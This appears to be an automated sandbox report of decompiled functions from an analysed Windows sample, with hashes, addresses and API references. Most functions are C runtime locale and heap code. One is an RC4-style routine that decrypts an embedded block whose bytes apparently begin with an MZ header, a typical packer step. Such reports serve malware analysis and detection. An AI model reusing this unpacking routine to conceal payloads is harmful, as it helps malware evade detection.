Instruction ID: 8bf5eb2caa33d1b43af4935026379d107c462eb5f81e3172a458e90c05844393
Opcode Fuzzy Hash: 1823130d366ada9580dd0fd686b54e6325bbe941f853aceab954b191c0896de4
Instruction Fuzzy Hash: E3F04976A04300EFD711EF98E842B9D7BF0EB15721F10816AF410DB2A2CB759A40CF50

Uniqueness

Uniqueness Score: -1.00%

Function 001C11F6 Relevance: 1.5, APIs: 1, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E001C11F6(void* __ecx, void* __edx, signed char* _a4) {
				void* __esi;
				intOrPtr _t9;
				signed char* _t13;
				intOrPtr* _t15;
				void* _t19;
				void* _t21;
				void* _t22;

				_t19 = E001B782A(__ecx, __edx, _t21);
				_t15 =  *((intOrPtr*)(_t19 + 0x54));
				_t22 = _t15 + 2;
				do {
					_t9 =  *_t15;
					_t15 = _t15 + 2;
				} while (_t9 != 0);
				 *(_t19 + 0x64) = 0 | _t15 - _t22 >> 0x00000001 == 0x00000003;
				EnumSystemLocalesW(0x1c114f, 1);
				_t13 = _a4;
				if(( *_t13 & 0x00000004) == 0) {
					 *_t13 = 0;
					return _t13;
				}
				return _t13;
			}

0x001c1202
0x001c1206
0x001c1209
0x001c120c
0x001c120c
0x001c120f
0x001c1212
0x001c122a
0x001c122d
0x001c1233
0x001c1239
0x001c123b
0x00000000
0x001c123b
0x001c1240

APIs

Part of subcall function 001B782A: GetLastError.KERNEL32(?,00000008,001BDC99), ref: 001B782E
Part of subcall function 001B782A: SetLastError.KERNEL32(00000000,001D43C0,00000024,001B2DC9), ref: 001B78D0

EnumSystemLocalesW.KERNEL32(001C114F,00000001,?,?,?,001C19BA,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 001C122D

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: dfef80c8485e5feff697f64479b0272a8d32f16b38a50da95ede78818ca1226c
Instruction ID: d3f574d826c1ab3e1dbf36c6eb2b433183cc497cfc103d09a31a1e89b4c3fbf6
Opcode Fuzzy Hash: dfef80c8485e5feff697f64479b0272a8d32f16b38a50da95ede78818ca1226c
Instruction Fuzzy Hash: CBF0553A34020967CB04AF39D805BAA7F95EFC2B10B4A409DFB19CB281C371D843C790

Uniqueness

Uniqueness Score: -1.00%

Function 001B8C2E Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,001B52DE,?,20001004,00000000,00000002,?,?,001B48E0), ref: 001B8C62

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 1e39e13974d8484daa36949dee79f0ffd059e6c7c2cc6827e069bae8f37d265a
Instruction ID: 5c99dd014c3b3a47ee3f6a1e6b7db86c21ca0ebef869210b65bbb8c5d3b225cd
Opcode Fuzzy Hash: 1e39e13974d8484daa36949dee79f0ffd059e6c7c2cc6827e069bae8f37d265a
Instruction Fuzzy Hash: 2AE04F31541218BBCF122F61DC05EEE3F19EF54F61F044421FD05661A1CF718960EAA5

Uniqueness

Uniqueness Score: -1.00%

Function 001C1B1A Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E001C1B1A() {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0x203554 = _t3;
				return _t3 & 0xffffff00 | _t3 != 0x00000000;
			}

0x001c1b1a
0x001c1b22
0x001c1b2a

APIs

GetProcessHeap.KERNEL32 ref: 001C1B1A

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: a47c8b7d190112ac1358a6795b20c5c09e2410650d8518aad2e14be5d49df623
Instruction ID: 492189756ccc375211c7d3ebf1011c729fcba4f545f26f5afdfcf8b5102442fb
Opcode Fuzzy Hash: a47c8b7d190112ac1358a6795b20c5c09e2410650d8518aad2e14be5d49df623
Instruction Fuzzy Hash: D5A011B0202200CF83028F3AAE0820A3FA8AA0A2A03008028A000C02B0EA2880A08B00

Uniqueness

Uniqueness Score: -1.00%

Function 001BC6C9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fdb5c42691373dd2ef15e74dafadd33005faed21cce165a3c6bfdd8d194ae83
Instruction ID: ac8af2d127a93e237b767dc4f0aeb2c8e9f7de585c3ec15229a9e29693d78790
Opcode Fuzzy Hash: 4fdb5c42691373dd2ef15e74dafadd33005faed21cce165a3c6bfdd8d194ae83
Instruction Fuzzy Hash: 01322322D29F414DD7239634D87237AAA8DAFB73C4F15C727E81AB5DA5EB29C4C34140

Uniqueness

Uniqueness Score: -1.00%

Function 001C0A05 Relevance: .3, Instructions: 327
COMMONCrypto

Download Yara Rule

C-Code - Quality: 73%

			E001C0A05(void* __ebx, void* __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v32;
				char _v36;
				char _v136;
				signed int _v140;
				intOrPtr* _v168;
				signed int _v180;
				char _v272;
				char _v420;
				signed int _v448;
				void* __edi;
				void* __esi;
				signed int _t93;
				signed int _t97;
				void* _t99;
				intOrPtr _t111;
				void* _t113;
				signed int _t115;
				signed int _t119;
				intOrPtr _t127;
				intOrPtr _t137;
				signed int _t139;
				signed int _t140;
				signed int _t143;
				intOrPtr _t146;
				intOrPtr _t149;
				intOrPtr _t150;
				intOrPtr _t152;
				void* _t161;
				intOrPtr _t163;
				void* _t166;
				void* _t168;
				intOrPtr _t169;
				intOrPtr _t170;
				signed int _t172;
				void* _t173;
				void* _t175;
				intOrPtr* _t176;
				signed int _t196;
				intOrPtr* _t198;
				intOrPtr* _t209;
				signed int _t211;
				intOrPtr* _t212;
				intOrPtr* _t217;
				intOrPtr* _t220;
				void* _t221;
				intOrPtr* _t224;
				signed int _t227;
				intOrPtr* _t229;
				intOrPtr* _t231;
				intOrPtr* _t233;
				void* _t235;
				void* _t236;
				intOrPtr _t237;
				intOrPtr _t238;
				intOrPtr* _t239;
				intOrPtr* _t242;
				intOrPtr* _t243;
				signed int _t244;
				void* _t245;
				void* _t246;
				void* _t247;
				signed int _t248;
				signed int _t249;
				signed int _t250;
				void* _t252;
				signed int _t253;

				_t234 = __edx;
				_t171 = __ebx;
				_t93 =  *0x1d5010; // 0x8121a627
				_v8 = _t93 ^ _t249;
				_t242 = _a4;
				_t246 = E001B782A(__ecx, __edx, _t245);
				asm("sbb ecx, ecx");
				_t97 = E001B8C2E(_t242, ( ~( *(_t246 + 0x64)) & 0xfffff005) + 0x1002,  &_v136, 0x40);
				if(_t97 != 0) {
					_push(__ebx);
					_t99 = E001BDE74(_t242, _t246,  *((intOrPtr*)(_t246 + 0x54)),  &_v136);
					_t172 = 0;
					_v140 = 0;
					if(_t99 != 0) {
						L15:
						if(( *(_t246 + 0x58) & 0x00000300) == 0x300) {
							L47:
							_t105 =  !( *(_t246 + 0x58) >> 2) & 0x00000001;
							goto L48;
						} else {
							asm("sbb ecx, ecx");
							if(E001B8C2E(_t242, ( ~( *(_t246 + 0x60)) & 0xfffff002) + 0x1001,  &_v136, 0x40) != 0) {
								if(E001BDE74(_t242, _t246,  *((intOrPtr*)(_t246 + 0x50)),  &_v136) != 0) {
									goto L47;
								} else {
									_t196 =  *(_t246 + 0x58) | 0x00000200;
									 *(_t246 + 0x58) = _t196;
									if( *(_t246 + 0x60) == _t172) {
										if( *((intOrPtr*)(_t246 + 0x5c)) == _t172) {
											L43:
											_t62 = _t246 + 0x2a0; // 0x2a0
											_t234 = _t62;
											 *(_t246 + 0x58) = _t196 | 0x00000100;
											if( *_t62 != _t172) {
												goto L47;
											} else {
												_t198 = _t242;
												_t173 = _t198 + 2;
												do {
													_t111 =  *_t198;
													_t198 = _t198 + 2;
												} while (_t111 != _v140);
												goto L46;
											}
										} else {
											_t239 =  *((intOrPtr*)(_t246 + 0x50));
											_t175 = _t239 + 2;
											do {
												_t146 =  *_t239;
												_t239 = _t239 + 2;
											} while (_t146 != _v140);
											_t241 = _t239 - _t175 >> 1;
											if(_t239 - _t175 >> 1 !=  *((intOrPtr*)(_t246 + 0x5c))) {
												_t172 = 0;
												goto L43;
											} else {
												if(E001C0E9A(_t175, _t196, _t241, _t242, _t242) != 0) {
													L38:
													 *(_t246 + 0x58) =  *(_t246 + 0x58) | 0x00000100;
													_t59 = _t246 + 0x2a0; // 0x2a0
													_t234 = _t59;
													if( *_t59 != 0) {
														goto L47;
													} else {
														_t220 = _t242;
														_t173 = _t220 + 2;
														do {
															_t149 =  *_t220;
															_t220 = _t220 + 2;
														} while (_t149 != _v140);
														goto L46;
													}
												} else {
													_t176 =  *((intOrPtr*)(_t246 + 0x50));
													_t234 = 0;
													_t221 = _t176 + 2;
													do {
														_t150 =  *_t176;
														_t176 = _t176 + 2;
													} while (_t150 != 0);
													if(E001C09D1( *((intOrPtr*)(_t246 + 0x50))) == _t176 - _t221 >> 1) {
														goto L47;
													} else {
														goto L38;
													}
												}
											}
										}
									} else {
										_t45 = _t246 + 0x2a0; // 0x2a0
										_t234 = _t45;
										 *(_t246 + 0x58) = _t196 | 0x00000100;
										if( *_t45 != _t172) {
											goto L47;
										} else {
											_t224 = _t242;
											_t173 = _t224 + 2;
											do {
												_t152 =  *_t224;
												_t224 = _t224 + 2;
											} while (_t152 != _v140);
											L46:
											_t200 = _t198 - _t173 >> 1;
											_push((_t198 - _t173 >> 1) + 1);
											_t113 = E001BE13A(_t198 - _t173 >> 1, _t234, 0x55, _t242);
											_t253 = _t252 + 0x10;
											if(_t113 != 0) {
												_t172 = 0;
												goto L51;
											} else {
												goto L47;
											}
										}
									}
								}
							} else {
								 *(_t246 + 0x58) = _t172;
								goto L18;
							}
						}
					} else {
						asm("sbb eax, eax");
						if(E001B8C2E(_t242, ( ~( *(_t246 + 0x60)) & 0xfffff002) + 0x1001,  &_v136, 0x40) != 0) {
							_t161 = E001BDE74(_t242, _t246,  *((intOrPtr*)(_t246 + 0x50)),  &_v136);
							_t227 =  *(_t246 + 0x58);
							if(_t161 != 0) {
								if((_t227 & 0x00000002) != 0) {
									goto L15;
								} else {
									if( *((intOrPtr*)(_t246 + 0x5c)) == 0) {
										L19:
										if(( *(_t246 + 0x58) & 0x00000001) != 0 || E001C0E9A(_t172, _t227, _t234, _t242, _t242) == 0) {
											goto L15;
										} else {
											 *(_t246 + 0x58) =  *(_t246 + 0x58) | 0x00000001;
											_t229 = _t242;
											_t234 = _t229 + 2;
											do {
												_t163 =  *_t229;
												_t229 = _t229 + 2;
											} while (_t163 != _t172);
											goto L14;
										}
									} else {
										_t168 = E001C4FE0(0, _t242, _t246,  *((intOrPtr*)(_t246 + 0x50)),  &_v136,  *((intOrPtr*)(_t246 + 0x5c)));
										_t252 = _t252 + 0xc;
										if(_t168 != 0) {
											goto L19;
										} else {
											 *(_t246 + 0x58) =  *(_t246 + 0x58) | 0x00000002;
											_t231 = _t242;
											_t234 = _t231 + 2;
											do {
												_t169 =  *_t231;
												_t231 = _t231 + 2;
											} while (_t169 != 0);
											goto L14;
										}
									}
								}
							} else {
								 *(_t246 + 0x58) = _t227 | 0x00000304;
								_t233 = _t242;
								_t234 = _t233 + 2;
								do {
									_t170 =  *_t233;
									_t233 = _t233 + 2;
								} while (_t170 != 0);
								L14:
								_t200 = _t229 - _t234 >> 1;
								_push((_t229 - _t234 >> 1) + 1);
								_t29 = _t246 + 0x2a0; // 0x2a0
								_t166 = E001BE13A(_t229 - _t234 >> 1, _t29, 0x55, _t242);
								_t253 = _t252 + 0x10;
								if(_t166 != 0) {
									L51:
									_push(_t172);
									_push(_t172);
									_push(_t172);
									_push(_t172);
									_push(_t172);
									E001AFE70();
									asm("int3");
									_push(_t249);
									_t250 = _t253;
									_t115 =  *0x1d5010; // 0x8121a627
									_v180 = _t115 ^ _t250;
									_push(_t246);
									_push(_t242);
									_t243 = _v168;
									_t247 = E001B782A(_t200, _t234, _t246);
									asm("sbb ecx, ecx");
									_t119 = E001B8C2E(_t243, ( ~( *(_t247 + 0x60)) & 0xfffff002) + 0x1001,  &_v420, 0x78);
									if(_t119 != 0) {
										if(E001BDE74(_t243, _t247,  *((intOrPtr*)(_t247 + 0x50)),  &_v272) != 0) {
											L58:
											_t125 =  !( *(_t247 + 0x58) >> 2) & 0x00000001;
											goto L59;
										} else {
											_t209 = _t243;
											_push(_t172);
											_t234 = _t209 + 2;
											do {
												_t127 =  *_t209;
												_t209 = _t209 + 2;
											} while (_t127 != 0);
											_t211 = _t209 - _t234 >> 1;
											_push(_t211 + 1);
											_t79 = _t247 + 0x2a0; // 0x2a0
											if(E001BE13A(_t211, _t79, 0x55, _t243) != 0) {
												_push(0);
												_push(0);
												_push(0);
												_push(0);
												_push(0);
												E001AFE70();
												asm("int3");
												_push(_t250);
												_push(_t211);
												_push(_t247);
												_t248 = _v448;
												_push(_t243);
												if(_t248 == 0) {
													L87:
													_push(2);
													_push( &_v36);
													_push(0x20001004);
												} else {
													_t244 = 0;
													if( *_t248 == 0) {
														goto L87;
													} else {
														_t212 = L"ACP";
														_t139 = _t248;
														while(1) {
															_t235 =  *_t139;
															if(_t235 !=  *_t212) {
																break;
															}
															if(_t235 == 0) {
																L68:
																_t140 = _t244;
															} else {
																_t238 =  *((intOrPtr*)(_t139 + 2));
																if(_t238 !=  *((intOrPtr*)(_t212 + 2))) {
																	break;
																} else {
																	_t139 = _t139 + 4;
																	_t212 = _t212 + 4;
																	if(_t238 != 0) {
																		continue;
																	} else {
																		goto L68;
																	}
																}
															}
															L70:
															if(_t140 == 0) {
																goto L87;
															} else {
																if(E001BDE74(_t244, _t248, _t248, L"utf8") == 0 || E001BDE74(_t244, _t248, _t248, L"utf-8") == 0) {
																	L84:
																	return 0xfde9;
																}
																_t217 = L"OCP";
																_t143 = _t248;
																while(1) {
																	_t236 =  *_t143;
																	if(_t236 !=  *_t217) {
																		break;
																	}
																	if(_t236 != 0) {
																		_t237 =  *((intOrPtr*)(_t143 + 2));
																		if(_t237 !=  *((intOrPtr*)(_t217 + 2))) {
																			break;
																		} else {
																			_t143 = _t143 + 4;
																			_t217 = _t217 + 4;
																			if(_t237 != 0) {
																				continue;
																			} else {
																			}
																		}
																	}
																	L80:
																	if(_t244 != 0) {
																		return E001B629E(_t248);
																	}
																	_push(2);
																	_push( &_v36);
																	_push(0x2000000b);
																	goto L82;
																}
																asm("sbb edi, edi");
																_t244 = _t244 | 0x00000001;
																goto L80;
															}
															goto L82;
														}
														asm("sbb eax, eax");
														_t140 = _t139 | 0x00000001;
														goto L70;
													}
												}
												L82:
												_push(_v20 + 0x250);
												if(E001B8C2E() == 0) {
													return 0;
												}
												_t137 = _v36;
												if(_t137 < 3) {
													goto L84;
												}
												return _t137;
											} else {
												 *(_t247 + 0x58) =  *(_t247 + 0x58) | 0x00000004;
												_pop(_t172);
												goto L58;
											}
										}
									} else {
										 *(_t247 + 0x58) =  *(_t247 + 0x58) & _t119;
										_t125 = _t119 + 1;
										L59:
										return E001A9545(_t125, _t172, _v32 ^ _t250, _t234, _t243, _t247);
									}
								} else {
									goto L15;
								}
							}
						} else {
							 *(_t246 + 0x58) =  *(_t246 + 0x58) & 0;
							L18:
							_t105 = 1;
							L48:
							_pop(_t171);
							goto L49;
						}
					}
				} else {
					 *(_t246 + 0x58) =  *(_t246 + 0x58) & _t97;
					_t105 = _t97 + 1;
					L49:
					return E001A9545(_t105, _t171, _v8 ^ _t249, _t234, _t242, _t246);
				}
			}

0x001c0a05
0x001c0a05
0x001c0a10
0x001c0a17
0x001c0a1c
0x001c0a24
0x001c0a34
0x001c0a44
0x001c0a4b
0x001c0a56
0x001c0a61
0x001c0a66
0x001c0a68
0x001c0a72
0x001c0b35
0x001c0b41
0x001c0cbc
0x001c0cc4
0x00000000
0x001c0b47
0x001c0b54
0x001c0b6c
0x001c0bb6
0x00000000
0x001c0bbc
0x001c0bbf
0x001c0bc5
0x001c0bcb
0x001c0c01
0x001c0c7c
0x001c0c82
0x001c0c82
0x001c0c88
0x001c0c8e
0x00000000
0x001c0c90
0x001c0c90
0x001c0c92
0x001c0c95
0x001c0c95
0x001c0c98
0x001c0c9b
0x00000000
0x001c0c95
0x001c0c03
0x001c0c03
0x001c0c06
0x001c0c09
0x001c0c09
0x001c0c0c
0x001c0c0f
0x001c0c1a
0x001c0c1f
0x001c0c7a
0x00000000
0x001c0c21
0x001c0c2a
0x001c0c50
0x001c0c50
0x001c0c57
0x001c0c57
0x001c0c62
0x00000000
0x001c0c64
0x001c0c64
0x001c0c66
0x001c0c69
0x001c0c69
0x001c0c6c
0x001c0c6f
0x00000000
0x001c0c78
0x001c0c2c
0x001c0c2c
0x001c0c2f
0x001c0c31
0x001c0c34
0x001c0c34
0x001c0c37
0x001c0c3a
0x001c0c4e
0x00000000
0x00000000
0x00000000
0x00000000
0x001c0c4e
0x001c0c2a
0x001c0c1f
0x001c0bcd
0x001c0bd3
0x001c0bd3
0x001c0bd9
0x001c0bdf
0x00000000
0x001c0be5
0x001c0be5
0x001c0be7
0x001c0bea
0x001c0bea
0x001c0bed
0x001c0bf0
0x001c0ca4
0x001c0ca6
0x001c0cab
0x001c0cb0
0x001c0cb5
0x001c0cba
0x001c0cd8
0x00000000
0x00000000
0x00000000
0x00000000
0x001c0cba
0x001c0bdf
0x001c0bcb
0x001c0b6e
0x001c0b6e
0x00000000
0x001c0b6e
0x001c0b6c
0x001c0a78
0x001c0a86
0x001c0a9b
0x001c0aaf
0x001c0ab6
0x001c0abb
0x001c0adb
0x00000000
0x001c0add
0x001c0ae0
0x001c0b79
0x001c0b7d
0x00000000
0x001c0b8a
0x001c0b8a
0x001c0b8e
0x001c0b90
0x001c0b93
0x001c0b93
0x001c0b96
0x001c0b99
0x00000000
0x001c0b9e
0x001c0ae6
0x001c0af3
0x001c0af8
0x001c0afd
0x00000000
0x001c0aff
0x001c0aff
0x001c0b03
0x001c0b05
0x001c0b08
0x001c0b08
0x001c0b0b
0x001c0b0e
0x00000000
0x001c0b08
0x001c0afd
0x001c0ae0
0x001c0abd
0x001c0ac3
0x001c0ac6
0x001c0ac8
0x001c0acb
0x001c0acb
0x001c0ace
0x001c0ad1
0x001c0b13
0x001c0b15
0x001c0b1a
0x001c0b1c
0x001c0b25
0x001c0b2a
0x001c0b2f
0x001c0cda
0x001c0cda
0x001c0cdb
0x001c0cdc
0x001c0cdd
0x001c0cde
0x001c0cdf
0x001c0ce4
0x001c0ce7
0x001c0ce8
0x001c0cf0
0x001c0cf7
0x001c0cfa
0x001c0cfb
0x001c0cfc
0x001c0d04
0x001c0d14
0x001c0d24
0x001c0d2b
0x001c0d46
0x001c0d7e
0x001c0d86
0x00000000
0x001c0d48
0x001c0d48
0x001c0d4a
0x001c0d4d
0x001c0d50
0x001c0d50
0x001c0d53
0x001c0d56
0x001c0d5d
0x001c0d62
0x001c0d64
0x001c0d77
0x001c0d99
0x001c0d9a
0x001c0d9b
0x001c0d9c
0x001c0d9d
0x001c0d9e
0x001c0da3
0x001c0da6
0x001c0da9
0x001c0daa
0x001c0dab
0x001c0dae
0x001c0db1
0x001c0e89
0x001c0e89
0x001c0e8e
0x001c0e8f
0x001c0db7
0x001c0db7
0x001c0dbc
0x00000000
0x001c0dc2
0x001c0dc2
0x001c0dc7
0x001c0dc9
0x001c0dc9
0x001c0dcf
0x00000000
0x00000000
0x001c0dd4
0x001c0deb
0x001c0deb
0x001c0dd6
0x001c0dd6
0x001c0dde
0x00000000
0x001c0de0
0x001c0de0
0x001c0de3
0x001c0de9
0x00000000
0x00000000
0x00000000
0x00000000
0x001c0de9
0x001c0dde
0x001c0df4
0x001c0df6
0x00000000
0x001c0dfc
0x001c0e0b
0x001c0e77
0x00000000
0x001c0e77
0x001c0e1e
0x001c0e23
0x001c0e25
0x001c0e25
0x001c0e2b
0x00000000
0x00000000
0x001c0e30
0x001c0e32
0x001c0e3a
0x00000000
0x001c0e3c
0x001c0e3c
0x001c0e3f
0x001c0e45
0x00000000
0x00000000
0x001c0e47
0x001c0e45
0x001c0e3a
0x001c0e4e
0x001c0e50
0x00000000
0x001c0e86
0x001c0e52
0x001c0e57
0x001c0e58
0x00000000
0x001c0e58
0x001c0e49
0x001c0e4b
0x00000000
0x001c0e4b
0x00000000
0x001c0df6
0x001c0def
0x001c0df1
0x00000000
0x001c0df1
0x001c0dbc
0x001c0e5d
0x001c0e65
0x001c0e6d
0x00000000
0x001c0e96
0x001c0e6f
0x001c0e75
0x00000000
0x00000000
0x001c0e7f
0x001c0d79
0x001c0d79
0x001c0d7d
0x00000000
0x001c0d7d
0x001c0d77
0x001c0d2d
0x001c0d2d
0x001c0d30
0x001c0d89
0x001c0d96
0x001c0d96
0x00000000
0x00000000
0x00000000
0x001c0b2f
0x001c0a9d
0x001c0a9d
0x001c0b71
0x001c0b73
0x001c0cc7
0x001c0cc7
0x00000000
0x001c0cc7
0x001c0a9b
0x001c0a4d
0x001c0a4d
0x001c0a50
0x001c0cc8
0x001c0cd5
0x001c0cd5

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: 9a2480fdeee1dea036d187910118839f3b7393ef7847c4cb60221c608e5c45f7
Instruction ID: 470fd7fcb20c70a78efef1e63f29f54d7d80f0a5773d9f6710f51c6db54fd224
Opcode Fuzzy Hash: 9a2480fdeee1dea036d187910118839f3b7393ef7847c4cb60221c608e5c45f7
Instruction Fuzzy Hash: 6FB1E379500706CBDB39DB28CC92FB7B3A8EF68708F14456DE98686580EB75ED81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 001A2200 Relevance: .1, Instructions: 119
COMMONCrypto

Download Yara Rule

C-Code - Quality: 67%

			E001A2200() {
				intOrPtr _v8;
				char _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v300;
				signed int _v304;
				intOrPtr _v308;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t53;
				signed int _t54;
				signed int _t56;
				signed int _t61;
				intOrPtr _t64;
				signed int _t67;
				signed int _t68;
				signed int _t69;
				void* _t70;
				signed int _t74;
				signed int _t90;
				signed char _t92;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				void* _t97;
				signed int _t102;
				signed int _t104;
				void* _t107;
				signed int _t108;
				signed int _t111;
				void* _t112;

				_push(0xffffffff);
				_push(0x1c6770);
				_push( *[fs:0x0]);
				_t53 =  *0x1d5010; // 0x8121a627
				_t54 = _t53 ^ _t111;
				_v24 = _t54;
				_push(_t54);
				 *[fs:0x0] =  &_v16;
				_v20 = _t112 - 0x224;
				_v300 = 0;
				_t56 = 0;
				_t90 = 0;
				_t74 = 0;
				_t102 = 0;
				_t94 = 0;
				_t67 = 0;
				asm("o16 nop [eax+eax]");
				do {
					 *(_t111 + _t90 - 0x118) = _t56;
					_t11 = _t102 - ((_t74 - (0xa41a41a5 * _t74 >> 0x20) >> 1) + (0xa41a41a5 * _t74 >> 0x20) >> 5) * 0x27 + 0x1d26b0; // 0x3eaf2d66
					 *((char*)(_t111 + _t94 - 0x230)) =  *_t11;
					_t14 = _t67 + 1; // 0x1
					_t56 = _t14;
					_t90 = _t56;
					_t74 = _t56;
					_t102 = _t56;
					_t94 = _t56;
					_t67 = _t56;
				} while (_t56 < 0x100);
				_v300 = _t56;
				_v300 = 0;
				_t104 = 0;
				_t61 = 0;
				_t95 = 0;
				_t68 = 0;
				asm("o16 nop [eax+eax]");
				do {
					_t92 =  *((intOrPtr*)(_t111 + _t95 - 0x118));
					_t104 = _t104 + ( *(_t111 + _t61 - 0x230) & 0x000000ff) + (_t92 & 0x000000ff) & 0x800000ff;
					if(_t104 < 0) {
						_t104 = (_t104 - 0x00000001 | 0xffffff00) + 1;
					}
					 *((char*)(_t111 + _t95 - 0x118)) =  *(_t111 + _t104 - 0x118);
					 *(_t111 + _t104 - 0x118) = _t92;
					_t27 = _t68 + 1; // 0x1
					_t61 = _t27;
					_t95 = _t61;
					_t68 = _t61;
				} while (_t61 < 0x100);
				_v300 = _t61;
				_t96 = 0;
				_v300 = 0;
				_t69 = 0;
				_v304 = 0;
				_t64 = 0;
				while(1) {
					_v308 = _t64;
					if(_t64 >= 0x2c600) {
						break;
					}
					_v8 = 0;
					_t96 = _t96 + 0x00000001 & 0x800000ff;
					if(_t96 < 0) {
						_t96 = (_t96 - 0x00000001 | 0xffffff00) + 1;
					}
					_v300 = _t96;
					_t92 =  *(_t111 + _t96 - 0x118);
					_t108 = _t92 & 0x000000ff;
					_t69 = _t69 + _t108 & 0x800000ff;
					if(_t69 < 0) {
						_t69 = (_t69 - 0x00000001 | 0xffffff00) + 1;
					}
					_v304 = _t69;
					 *(_t111 + _t96 - 0x118) =  *(_t111 + _t69 - 0x118) & 0x000000ff;
					 *(_t111 + _t69 - 0x118) = _t92;
					_t47 = _t64 + 0x1d5a60; // 0x905a4d
					 *(_t64 + 0x1d5a60) =  *(_t111 + (( *(_t111 + _t96 - 0x118) & 0x000000ff) + _t108 & 0x000000ff) - 0x118) & 0x000000ff ^  *_t47;
					_v8 = 0xffffffff;
					_t64 = _t64 + 1;
				}
				 *[fs:0x0] = _v16;
				_pop(_t97);
				_pop(_t107);
				_pop(_t70);
				return E001A9545(_t64, _t70, _v24 ^ _t111, _t92, _t97, _t107);
			}

0x001a2203
0x001a2205
0x001a2210
0x001a2217
0x001a221c
0x001a221e
0x001a2224
0x001a2228
0x001a222e
0x001a2231
0x001a223b
0x001a223d
0x001a223f
0x001a2241
0x001a2243
0x001a2245
0x001a2247
0x001a2250
0x001a2250
0x001a226c
0x001a2272
0x001a2279
0x001a2279
0x001a227c
0x001a227e
0x001a2280
0x001a2282
0x001a2284
0x001a2286
0x001a228d
0x001a2293
0x001a229d
0x001a229f
0x001a22a1
0x001a22a3
0x001a22a5
0x001a22b0
0x001a22b0
0x001a22c6
0x001a22cc
0x001a22d5
0x001a22d5
0x001a22dd
0x001a22e4
0x001a22eb
0x001a22eb
0x001a22ee
0x001a22f0
0x001a22f2
0x001a22f9
0x001a22ff
0x001a2301
0x001a2307
0x001a2309
0x001a230f
0x001a2311
0x001a2311
0x001a231c
0x00000000
0x00000000
0x001a2322
0x001a232a
0x001a2330
0x001a2339
0x001a2339
0x001a233a
0x001a2340
0x001a2347
0x001a234c
0x001a2352
0x001a235b
0x001a235b
0x001a235c
0x001a236a
0x001a2371
0x001a238d
0x001a2393
0x001a2399
0x001a23a0
0x001a23a0
0x001a2401
0x001a2409
0x001a240a
0x001a240b
0x001a2419

Memory Dump Source

